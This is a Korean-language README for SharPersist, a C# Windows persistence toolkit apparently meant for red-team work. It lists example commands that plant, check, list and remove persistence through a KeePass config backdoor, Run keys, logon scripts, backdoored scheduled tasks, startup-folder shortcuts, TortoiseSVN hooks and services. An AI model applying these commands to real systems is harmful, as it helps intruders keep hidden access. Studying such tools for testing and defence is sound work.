SharPersist

C#으로 작성된 Windows 지속성(persistence) 툴킷입니다. 각 기법에 대한 자세한 사용법은 Wiki를 참조하세요.

작성자 - Brett Hawkins (@h4wkst3r)

릴리스

• SharPersist 공개 버전 1.0.1은 Releases 섹션에서 확인할 수 있습니다.

설치/빌드

사전 컴파일된 버전

• Releases 섹션에 있는 사전 컴파일된 바이너리를 사용하세요.

직접 빌드

프로젝트를 직접 컴파일하려면 아래 단계에 따라 Visual Studio를 설정하세요. 이를 위해 NuGet 패키지 관리자에서 설치할 수 있는 몇 가지 .NET 라이브러리가 필요합니다.

사용된 라이브러리

이 프로젝트에는 아래의 타사 라이브러리가 사용됩니다.

빌드 단계

• Visual Studio 프로젝트를 열고 "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"로 이동합니다.
• "NuGet Package Manager" --> "Package Sources"로 이동합니다.
• URL "https://api.nuget.org/v3/index.json"로 패키지 소스를 추가합니다.
• Costura.Fody NuGet 패키지를 설치합니다. Visual Studio 2019가 필요 없도록 하려면 이전 버전의 Costura.Fody(3.3.3)가 필요합니다.
  • Install-Package Costura.Fody -Version 3.3.3
• TaskScheduler 패키지를 설치합니다.
  • Install-Package TaskScheduler -Version 2.8.11
• 이제 프로젝트를 직접 빌드할 수 있습니다!

인자/옵션

• -t - 지속성 기법
• -c - 실행할 명령
• -a - 실행할 명령에 전달할 인자(해당하는 경우)
• -f - 생성/수정할 파일
• -k - 생성/수정할 레지스트리 키
• -v - 생성/수정할 레지스트리 값
• -n - 예약된 작업 이름 또는 서비스 이름
• -m - 메서드 (add, remove, check, list)
• -o - 선택적 추가 기능
• -h - 도움말 페이지

지속성 기법 (-t)

• keepass - keepass 구성 파일 백도어
• reg - 레지스트리 키 추가/수정
• schtaskbackdoor - 예약된 작업에 추가 동작을 삽입하여 백도어화
• startupfolder - 시작 프로그램 폴더의 lnk 파일
• tortoisesvn - Tortoise SVN 후크 스크립트
• service - 새 Windows 서비스 생성
• schtask - 새 예약된 작업 생성

메서드 (-m)

• add - 지속성 기법 추가
• remove - 지속성 기법 제거
• check - 지속성 기법 드라이런(dry-run) 수행
• list - 지속성 기법의 현재 항목 나열

선택적 추가 기능 (-o)

• env - 레지스트리용 환경 변수 난독화를 위한 선택적 추가 기능
• hourly - schtask 주기용 선택적 추가 기능 (매시간)
• daily - schtask 주기용 선택적 추가 기능 (매일)
• logon - schtask 주기용 선택적 추가 기능 (로그온 시)

레지스트리 키 (-k)

• hklmrun
• hklmrunonce
• hklmrunonceex
• hkcurun
• hkcurunonce
• logonscript
• stickynotes
• userinit

예제

지속성 트리거 추가 (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

레지스트리

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

예약 작업 백도어

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

시작 프로그램 폴더

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Windows 서비스

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

예약 작업

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

지속성 트리거 제거 (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

레지스트리

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

예약 작업 백도어

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

시작 프로그램 폴더

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Windows 서비스

SharPersist -t service -n "Some Service" -m remove

예약 작업

SharPersist -t schtask -n "Some Task" -m remove

지속성 트리거 시험 실행 (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

레지스트리

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

예약 작업 백도어

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

시작 프로그램 폴더

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Windows 서비스

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

예약 작업

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

지속성 트리거 항목 나열 (List)

레지스트리

SharPersist -t reg -k "hkcurun" -m list

예약 작업 백도어

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

시작 프로그램 폴더

SharPersist -t startupfolder -m list

Windows 서비스

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

예약 작업

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon